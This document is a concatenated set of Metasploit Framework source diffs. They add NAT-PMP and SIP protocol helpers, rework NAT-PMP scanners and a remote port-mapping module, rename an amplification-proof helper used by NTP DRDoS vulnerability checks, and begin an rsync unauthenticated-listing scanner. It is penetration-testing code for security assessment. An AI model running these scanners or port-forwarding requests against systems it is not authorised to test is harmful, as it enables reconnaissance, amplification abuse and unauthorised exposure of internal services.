user_config_root = Pathname.new(Msf::Config.get_config_root) options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path)
user_database_yaml = user_config_root.join('database.yml')
if user_database_yaml.exist?
options.database.config = user_database_yaml.to_path
else
options.database.config = 'config/database.yml'
end
options.database.disable = false options.database.disable = false
options.database.migrations_paths = [] options.database.migrations_paths = []

View File

@ -8,7 +8,7 @@ module Msf
### ###
module Auxiliary::DRDoS module Auxiliary::DRDoS
def prove_drdos(response_map) def prove_amplification(response_map)
vulnerable = false vulnerable = false
proofs = [] proofs = []
response_map.each do |request, responses| response_map.each do |request, responses|
@ -30,7 +30,8 @@ module Auxiliary::DRDoS
bandwidth_amplification = total_size - request.size bandwidth_amplification = total_size - request.size
if bandwidth_amplification > 0 if bandwidth_amplification > 0
vulnerable = true vulnerable = true
this_proof += "a #{bandwidth_amplification}-byte bandwidth amplification" multiplier = total_size / request.size
this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification"
else else
this_proof += 'no bandwidth amplification' this_proof += 'no bandwidth amplification'
end end

View File

@ -20,6 +20,7 @@ require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/cisco'
require 'msf/core/auxiliary/nmap' require 'msf/core/auxiliary/nmap'
require 'msf/core/auxiliary/natpmp'
require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/pii'

View File

@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'rex/proto/natpmp'
module Msf
###
#
# This module provides methods for working with NAT-PMP
#
###
module Auxiliary::NATPMP
include Auxiliary::Scanner
include Rex::Proto::NATPMP
def initialize(info = {})
super
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
Opt::CHOST
],
self.class
)
end
end
end

View File

@ -57,6 +57,7 @@ require 'msf/core/exploit/wdbrpc'
require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/wdbrpc_client'
require 'msf/core/exploit/afp' require 'msf/core/exploit/afp'
require 'msf/core/exploit/realport' require 'msf/core/exploit/realport'
require 'msf/core/exploit/sip'
# Telephony # Telephony
require 'msf/core/exploit/dialup' require 'msf/core/exploit/dialup'

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
require 'rex/proto/sip/response'
module Msf
# SIP protocol support
module Exploit::Remote::SIP
# Parses +response+, extracts useful metdata and then reports on it.
# Returns true iff the response was a valid SIP response
def report_response(response, rhost, proto, desired_headers = %w(User-Agent Server Allow))
endpoint = "#{rhost}:#{rport} #{proto}"
begin
options_response = Rex::Proto::SIP::Response.parse(response)
rescue ArgumentError => e
vprint_error("#{endpoint} is not SIP: #{e}")
return false
end
# Extracted headers, stored as a hash where the key is the header name
# and the value is a list of all values seen for the header, covering the
# case where the same header value is seen multiple times
extracted_headers = {}
unless desired_headers.nil? || desired_headers.empty?
desired_headers.each do |desired_header|
next unless (found_header = options_response.header(desired_header))
extracted_headers[desired_header] ||= []
extracted_headers[desired_header] |= found_header
end
end
# Create a SIP OPTIONS fingerprint hash
fprint = {
'code' => options_response.code,
'message' => options_response.message
}
# compact the header values, append the header information to the
# fingerprint hash
extracted_headers.each_pair do |k,v|
value = v.join(',')
extracted_headers[k] = value
fprint['header_' + k.gsub('-', '_').downcase] = value
end
# Create a summary of the response
status = options_response.status_line.dup
unless extracted_headers.keys.empty?
status << ": #{extracted_headers}"
end
# Report the service with the status information
report_service(
host: rhost,
port: rport,
proto: proto.downcase,
name: 'sip',
info: status
)
# Report the fingerprint information
report_note(
host: rhost,
port: rport,
proto: proto.downcase,
type: "sip.options.fingerprint",
data: fprint
)
# Display the actual result to the user
print_status(endpoint + " " + status)
true
end
def create_probe(ip, proto)
suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1)
shost = Rex::Socket.source_address(ip)
src = "#{shost}:#{datastore['RPORT']}"
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/#{proto.upcase} #{src};branch=z9hG4bK.#{format('%.8x', rand(0x100000000))};rport;alias\r\n"
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 1 OPTIONS\r\n"
data << "Contact: sip:#{suser}@#{src}\r\n"
data << "Max-Forwards: 20\r\n"
data << "User-Agent: #{suser}\r\n"
data << "Accept: application/sdp\r\n"
data << "Content-Length: 0\r\n"
data << "\r\n"
data
end
end
end

View File

@ -1109,8 +1109,9 @@ class Db
end end
end end
if (note.service) if (note.service)
name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") msg << " service=#{note.service.name}" if note.service.name
msg << " service=#{name}" msg << " port=#{note.service.port}" if note.service.port
msg << " protocol=#{note.service.proto}" if note.service.proto
end end
msg << " type=#{note.ntype} data=#{note.data.inspect}" msg << " type=#{note.ntype} data=#{note.data.inspect}"
print_status(msg) print_status(msg)

View File

@ -15,12 +15,9 @@ module Msf
module Ui module Ui
module Console module Console
###
# #
# This class implements a user interface driver on a console interface. # A user interface driver on a console interface.
# #
###
class Driver < Msf::Ui::Driver class Driver < Msf::Ui::Driver
ConfigCore = "framework/core" ConfigCore = "framework/core"
@ -44,21 +41,18 @@ class Driver < Msf::Ui::Driver
# prompt character. The optional hash can take extra values that will # prompt character. The optional hash can take extra values that will
# serve to initialize the console driver. # serve to initialize the console driver.
# #
# The optional hash values can include: # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow
# # unrecognized commands to be executed by the system shell
# AllowCommandPassthru # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's
# # readline library instead of RBReadline
# Whether or not unknown commands should be passed through and executed by # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file
# the local system. # where we can store command history
# # @option opts [Array<String>] 'Resources' ([]) A list of resource files to
# RealReadline # load. If no resources are given, will load the default resource script,
# # 'msfconsole.rc' in the user's {Msf::Config.config_directory config
# Whether or to use the system Readline or the RBReadline (default) # directory}
# # @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip
# HistFile # connecting to the database and running migrations
#
# Name of a file to store command history
#
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
# Choose a readline library before calling the parent # Choose a readline library before calling the parent
@ -182,21 +176,15 @@ class Driver < Msf::Ui::Driver
if framework.db.connection_established? if framework.db.connection_established?
framework.db.after_establish_connection framework.db.after_establish_connection
else else
# Look for our database configuration in the following places, in order: configuration_pathname = Metasploit::Framework::Database.configurations_pathname(path: opts['DatabaseYAML'])
# command line arguments
# environment variable
# configuration directory (usually ~/.msf3)
dbfile = opts['DatabaseYAML']
dbfile ||= ENV["MSF_DATABASE_CONFIG"]
dbfile ||= File.join(Msf::Config.get_config_root, "database.yml")
if (dbfile and File.exists? dbfile) unless configuration_pathname.nil?
if File.readable?(dbfile) if configuration_pathname.readable?
dbinfo = YAML.load(File.read(dbfile)) dbinfo = YAML.load_file(configuration_pathname)
dbenv = opts['DatabaseEnv'] || Rails.env dbenv = opts['DatabaseEnv'] || Rails.env
db = dbinfo[dbenv] db = dbinfo[dbenv]
else else
print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") print_error("Warning, #{configuration_pathname} is not readable. Try running as root or chmod.")
end end
if not db if not db
@ -253,14 +241,14 @@ class Driver < Msf::Ui::Driver
# Process things before we actually display the prompt and get rocking # Process things before we actually display the prompt and get rocking
on_startup(opts) on_startup(opts)
# Process the resource script # Process any resource scripts
if opts['Resource'] and opts['Resource'].kind_of? Array if opts['Resource'].blank?
# None given, load the default
load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc'))
else
opts['Resource'].each { |r| opts['Resource'].each { |r|
load_resource(r) load_resource(r)
} }
else
# If the opt is nil here, we load ~/.msf3/msfconsole.rc
load_resource(opts['Resource'])
end end
# Process any additional startup commands # Process any additional startup commands
@ -433,11 +421,11 @@ class Driver < Msf::Ui::Driver
end end
end end
# Processes a resource script file for the console.
# #
# Processes the resource script file for the console. # @param path [String] Path to a resource file to run
# # @return [void]
def load_resource(path=nil) def load_resource(path)
path ||= File.join(Msf::Config.config_directory, 'msfconsole.rc')
return if not ::File.readable?(path) return if not ::File.readable?(path)
resource_file = ::File.read(path) resource_file = ::File.read(path)

View File

@ -12,19 +12,19 @@ module Proto
module NATPMP module NATPMP
# Return a NAT-PMP request to get the external address. # Return a NAT-PMP request to get the external address.
def self.external_address_request def external_address_request
[ 0, 0 ].pack('nn') [ 0, 0 ].pack('nn')
end end
# Parse a NAT-PMP external address response +resp+. # Parse a NAT-PMP external address response +resp+.
# Returns the decoded parts of the response as an array. # Returns the decoded parts of the response as an array.
def self.parse_external_address_response(resp) def parse_external_address_response(resp)
(ver, op, result, epoch, addr) = resp.unpack("CCvVN") (ver, op, result, epoch, addr) = resp.unpack("CCnNN")
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ] [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
end end
# Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
def self.map_port_request(lport, rport, protocol, lifetime) def map_port_request(lport, rport, protocol, lifetime)
[ Rex::Proto::NATPMP::Version, # version [ Rex::Proto::NATPMP::Version, # version
protocol, # opcode, which is now the protocol we are asking to forward protocol, # opcode, which is now the protocol we are asking to forward
0, # reserved 0, # reserved
@ -36,8 +36,8 @@ module NATPMP
# Parse a NAT-PMP mapping response +resp+. # Parse a NAT-PMP mapping response +resp+.
# Returns the decoded parts as an array. # Returns the decoded parts as an array.
def self.parse_map_port_response(resp) def parse_map_port_response(resp)
resp.unpack("CCvVnnN") resp.unpack("CCnNnnN")
end end
end end

4
lib/rex/proto/sip.rb Normal file
View File

@ -0,0 +1,4 @@
# encoding: binary
# SIP protocol support
require 'rex/proto/sip/response'

View File

@ -0,0 +1,61 @@
# encoding: binary
module Rex
module Proto
# SIP protocol support
module SIP
SIP_STATUS_REGEX = /^SIP\/(\d\.\d) (\d{3})\s*(.*)$/
# Represents a generic SIP message
class Message
attr_accessor :headers
def initialize
@headers = {}
end
# Returns a list of all values from all +name+ headers, regardless of case,
# or nil if no matching header is found
def header(name)
matches = @headers.select { |k, _| k.downcase == name.downcase }
return nil if matches.empty?
matches.values.flatten
end
# Returns a hash of header name to values mapping
# from the provided message, or nil if no headers
# are found
def self.extract_headers(message)
pairs = message.scan(/^([^\s:]+):\s*(.*)$/)
return nil if pairs.empty?
headers = {}
pairs.each do |pair|
headers[pair.first] ||= []
headers[pair.first] << pair.last.strip
end
headers
end
end
# Represents a SIP response message
class Response < Message
attr_accessor :code, :message, :status_line, :version
# Parses +data+, constructs and returns a Response
def self.parse(data)
response = Response.new
# do some basic sanity checking on this response to ensure that it is SIP
response.status_line = data.split(/\r\n/)[0]
unless response.status_line && response.status_line =~ SIP_STATUS_REGEX
fail(ArgumentError, "Invalid SIP status line: #{response.status_line}")
end
response.version = Regexp.last_match(1)
response.code = Regexp.last_match(2)
response.message = Regexp.last_match(3)
response.headers = extract_headers(data)
response
end
end
end
end
end

View File

@ -1,22 +1,74 @@
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
# It is recommended to regenerate this file in the future when you upgrade to a
# newer version of cucumber-rails. Consider adding your own code to a new file
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
# files.
unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
begin begin
require 'cucumber'
require 'cucumber/rake/task' require 'cucumber/rake/task'
namespace :cucumber do
Cucumber::Rake::Task.new(:features) do |t| Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t|
t.cucumber_opts = 'features --format pretty' t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
t.fork = true # You may get faster startup if you set this to false
t.profile = 'default' t.profile = 'default'
end end
namespace :features do Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t|
Cucumber::Rake::Task.new(:boot) do |t| t.binary = vendored_cucumber_bin
t.profile = 'boot' t.fork = true # You may get faster startup if you set this to false
end t.profile = 'wip'
end end
Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t|
t.binary = vendored_cucumber_bin
t.fork = true # You may get faster startup if you set this to false
t.profile = 'rerun'
end
desc 'Run all features'
task :all => [:ok, :wip]
task :statsetup do
require 'rails/code_statistics'
::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features')
::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features')
end
end
desc 'Alias for cucumber:ok'
task :cucumber => 'cucumber:ok'
task :default => :cucumber
task :features => :cucumber do
STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***"
end
# In case we don't have ActiveRecord, append a no-op task that we can depend upon.
task 'db:test:prepare' do
end
task 'db:config:restore' do
require 'metasploit/framework/database/cucumber'
Metasploit::Framework::Database::Cucumber.restore_project_configurations
end
# Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test
# database in order to recover from interrupted cucumber runs
task 'environment' => 'db:config:restore'
task :stats => 'cucumber:statsetup'
rescue LoadError rescue LoadError
task :features do desc 'cucumber rake task not available (cucumber not installed)'
puts "cucumber not in bundle, so can't set up feature tasks. " \ task :cucumber do
"To run features ensure to install the development and test groups." abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin'
end end
end end
end

View File

@ -0,0 +1,19 @@
unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
begin
require 'cucumber/rake/task'
namespace :cucumber do
Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t|
t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
t.fork = true # You may get faster startup if you set this to false
t.profile = 'boot'
end
end
end
end

View File

@ -4,12 +4,13 @@
## ##
require 'msf/core' require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::NATPMP
include Rex::Proto::NATPMP
def initialize def initialize
super( super(
@ -21,12 +22,10 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::LPORT, OptPort.new('EXTERNAL_PORT', [true, 'The external port to foward from']),
Opt::RPORT, OptPort.new('INTERNAL_PORT', [true, 'The internal port to forward to']),
OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]),
OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]), OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]), OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
Opt::CHOST
], ],
self.class self.class
) )
@ -43,21 +42,20 @@ class Metasploit3 < Msf::Auxiliary
# get the external address first # get the external address first
vprint_status "#{host} - NATPMP - Probing for external address" vprint_status "#{host} - NATPMP - Probing for external address"
req = Rex::Proto::NATPMP.external_address_request udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0)
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
external_address = nil external_address = nil
while (r = udp_sock.recvfrom(12, 1) and r[1]) while (r = udp_sock.recvfrom(12, 1) and r[1])
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) (ver, op, result, epoch, external_address) = parse_external_address_response(r[0])
end end
vprint_status "#{host} - NATPMP - Sending mapping request" vprint_status "#{host} - NATPMP - Sending mapping request"
# build the mapping request # build the mapping request
req = Rex::Proto::NATPMP.map_port_request( req = map_port_request(
datastore['LPORT'].to_i, datastore['RPORT'].to_i, datastore['INTERNAL_PORT'], datastore['EXTERNAL_PORT'],
Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME'] Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
) )
# send it # send it
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) udp_sock.sendto(req, host, datastore['RPORT'], 0)
# handle the reply # handle the reply
while (r = udp_sock.recvfrom(16, 1) and r[1]) while (r = udp_sock.recvfrom(16, 1) and r[1])
handle_reply(Rex::Socket.source_address(host), host, external_address, r) handle_reply(Rex::Socket.source_address(host), host, external_address, r)
@ -78,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary
pkt[1] = pkt[1].sub(/^::ffff:/, '') pkt[1] = pkt[1].sub(/^::ffff:/, '')
end end
(ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) (ver, op, result, epoch, internal_port, external_port, lifetime) = parse_map_port_response(pkt[0])
if (result == 0) if (result == 0)
if (datastore['RPORT'].to_i != external_port) if (datastore['EXTERNAL_PORT'] != external_port)
print_status( "#{external_address} " + print_status( "#{external_address} " +
"#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + "#{datastore['EXTERNAL_PORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
"#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded") "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
end end
print_status( "#{external_address} " + print_status( "#{external_address} " +

View File

@ -4,12 +4,14 @@
## ##
require 'msf/core' require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::NATPMP
include Rex::Proto::NATPMP
def initialize def initialize
super( super(
@ -19,68 +21,43 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE 'License' => MSF_LICENSE
) )
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
Opt::CHOST
],
self.class
)
end end
def run_host(host) def scan_host(ip)
begin scanner_send(@probe, ip, datastore['RPORT'])
udp_sock = Rex::Socket::Udp.create({
'LocalHost' => datastore['CHOST'] || nil,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
})
add_socket(udp_sock)
vprint_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address"
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
while (r = udp_sock.recvfrom(12, 1.0) and r[1])
handle_reply(host, r)
end
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
rescue ::Exception => e
print_error("#{host}:#{datastore['RPORT']} Unknown error: #{e.class} #{e}")
end
end end
def handle_reply(host, pkt) def scanner_prescan(batch)
return if not pkt[1] @probe = external_address_request
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end end
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0]) def scanner_process(data, shost, sport)
(ver, op, result, epoch, external_address) = parse_external_address_response(data)
if (result == 0) peer = "#{shost}:#{sport}"
print_status("#{host} -- external address #{external_address}") if (ver == 0 && op == 128 && result == 0)
end print_good("#{peer} -- external address #{external_address}")
# report its external address as alive
# report the host we scanned as alive
report_host(
:host => host,
:state => Msf::HostState::Alive
)
# also report its external address as alive
if inside_workspace_boundary?(external_address) if inside_workspace_boundary?(external_address)
report_host( report_host(
:host => external_address, :host => external_address,
:state => Msf::HostState::Alive :state => Msf::HostState::Alive
) )
end end
else
print_error("#{peer} -- unexpected version/opcode/result/address: #{ver}/#{op}/#{result}/#{external_address}")
end
# report the host we scanned as alive
report_host(
:host => shost,
:state => Msf::HostState::Alive
)
# report NAT-PMP as being open # report NAT-PMP as being open
report_service( report_service(
:host => host, :host => shost,
:port => pkt[2], :port => sport,
:proto => 'udp', :proto => 'udp',
:name => 'natpmp', :name => 'natpmp',
:state => Msf::ServiceState::Open :state => Msf::ServiceState::Open

View File

@ -5,12 +5,13 @@
require 'msf/core' require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::NATPMP
include Rex::Proto::NATPMP
def initialize def initialize
super( super(
@ -22,10 +23,8 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]), OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]),
OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]), OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]),
Opt::CHOST
], self.class) ], self.class)
end end
@ -36,32 +35,33 @@ class Metasploit3 < Msf::Auxiliary
'Context' => {'Msf' => framework, 'MsfExploit' => self} } 'Context' => {'Msf' => framework, 'MsfExploit' => self} }
) )
add_socket(udp_sock) add_socket(udp_sock)
vprint_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" peer = "#{host}:#{datastore['RPORT']}"
vprint_status("#{peer} Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} using NATPMP")
# first, send a request to get the external address # first, send a request to get the external address
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0)
external_address = nil external_address = nil
while (r = udp_sock.recvfrom(12, 0.25) and r[1]) while (r = udp_sock.recvfrom(12, 0.25) and r[1])
(ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) (ver,op,result,epoch,external_address) = parse_external_address_response(r[0])
end end
if (external_address) if (external_address)
print_good("External address of #{host} is #{external_address}") print_good("#{peer} responded with external address of #{external_address}")
else else
print_error("Didn't get a response for #{host}'s external address") vprint_status("#{peer} didn't respond with an external address")
return return
end end
Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| Rex::Socket.portspec_crack(datastore['PORTS']).each do |port|
# send one request to clear the mapping if *we've* created it before # send one request to clear the mapping if *we've* created it before
clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) clear_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0)
udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0) udp_sock.sendto(clear_req, host, datastore['RPORT'], 0)
while (r = udp_sock.recvfrom(16, 1.0) and r[1]) while (r = udp_sock.recvfrom(16, 1.0) and r[1])
end end
# now try the real mapping # now try the real mapping
map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) map_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1)
udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0) udp_sock.sendto(map_req, host, datastore['RPORT'], 0)
while (r = udp_sock.recvfrom(16, 1.0) and r[1]) while (r = udp_sock.recvfrom(16, 1.0) and r[1])
handle_reply(host, external_address, r) handle_reply(host, external_address, r)
end end
@ -85,21 +85,22 @@ class Metasploit3 < Msf::Auxiliary
host = pkt[1] host = pkt[1]
protocol = datastore['PROTOCOL'].to_s.downcase protocol = datastore['PROTOCOL'].to_s.downcase
(ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) (ver, op, result, epoch, int, ext, lifetime) = parse_map_port_response(pkt[0])
peer = "#{host}:#{datastore['RPORT']}"
if (result == 0) if (result == 0)
# we always ask to map an external port to the same port on us. If # we always ask to map an external port to the same port on us. If
# we get a successful reponse back but the port we requested be forwarded # we get a successful reponse back but the port we requested be forwarded
# is different, that means that someone else already has it open # is different, that means that someone else already has it open
if (int != ext) if (int != ext)
state = Msf::ServiceState::Open state = Msf::ServiceState::Open
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") print_good("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports")
else else
state = Msf::ServiceState::Closed state = Msf::ServiceState::Closed
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
end end
else else
state = Msf::ServiceState::Closed state = Msf::ServiceState::Closed
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
end end
if inside_workspace_boundary?(external_addr) if inside_workspace_boundary?(external_addr)

View File

@ -123,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)' what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS' what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS' what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS' what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS' what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS' what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -0,0 +1,67 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Rsync Unauthenticated List Command',
'Description' => 'List all (listable) modules from a rsync daemon',
'Author' => 'ikkini',
'References' =>
[
['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html']
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(873)
], self.class)
end
def run_host(ip)
connect
version = sock.get_once
print_good("#{ip}:#{rport} - rsync #{version.strip} found")
